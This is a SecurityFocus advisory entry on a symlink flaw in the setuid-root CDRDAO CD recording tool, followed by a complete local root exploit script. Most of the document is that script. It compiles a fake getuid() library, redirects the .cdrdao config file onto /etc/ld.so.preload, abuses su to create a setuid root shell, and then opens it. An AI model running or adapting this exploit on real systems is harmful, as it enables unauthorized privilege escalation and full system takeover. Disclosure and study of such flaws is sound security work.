source: https://www.securityfocus.com/bid/3865/info
   
CDRDAO is a freely available, open source CD recording software package available for the Unix and Linux Operating Systems. It is maintained by Andreas Mueller.
   
When CDRDAO saves it's configuration to the .cdrdao file in a user's home directory, the file is saved with root ownership. Additionally, CDRDAO does not check for the previous existence of this file. Since the cdrdao executable is typically installed setuid root, it is possible for a user to create this file as a symbolic link, which could result in the overwriting of root-owned files, or potentially allow the user execute commands as root.



#!/bin/sh
DIR=`pwd`
echo ""
echo "cdrdao local root exploit - gr doesn't protect you this time"
echo "Karol Wiêsek <appelast*drumnbass.art.pl>"
echo ""
sleep 2
umask 000
echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "
if [ -f /etc/ld.so.preload ]; then
echo "WRONG"
echo "/etc/ld.so.preload exists, write another exploit ;P"
exit
else
echo "OK"
fi
echo -n "[*] Checking if su is setuid ... "
if [ -u /bin/su ];then
echo "OK"
else
echo "WRONG"
exit
fi
echo -n "[*] Creating evil *uid() library ... "
cat > getuid_lib.c << _EOF
int getuid(void) {
	return 0; }
_EOF
gcc -o getuid_lib.o -c getuid_lib.c
ld -shared -o getuid_lib.so getuid_lib.o
rm -f getuid_lib.c getuid_lib.o
if [ -f ./getuid_lib.so ]; then
echo "OK"
else
echo "WRONG"
fi
echo -n "[*] Creating suidshell ... "
cat > suid.c << _EOF
int main(void) {
	setgid(0); setuid(0);
	unlink("./suid");
	execl("/bin/sh","sh",0); }
_EOF
gcc -o suid suid.c
rm -f suid.c
if [ -x ./suid ];then
echo "OK"
else
echo "WRONG"
exit
fi
echo -n "[*] Exploiting cdrdao ... "
ln -sf /etc/ld.so.preload $HOME/.cdrdao
if [ ! -L $HOME/.cdrdao ];then
echo "Could'n link to \$HOME/.cdrdao"
exit
fi
cdrdao unlock --save 2>/dev/null
>/etc/ld.so.preload
echo "$DIR/getuid_lib.so" > /etc/ld.so.preload
su - -c "rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"
if [ -s ./suid ];then
echo "OK"
else
echo "WRONG"
exit
fi
rm -f getuid_lib.so
unlink $HOME/.cdrdao
echo "Entering rootshell ... ;]"
./suid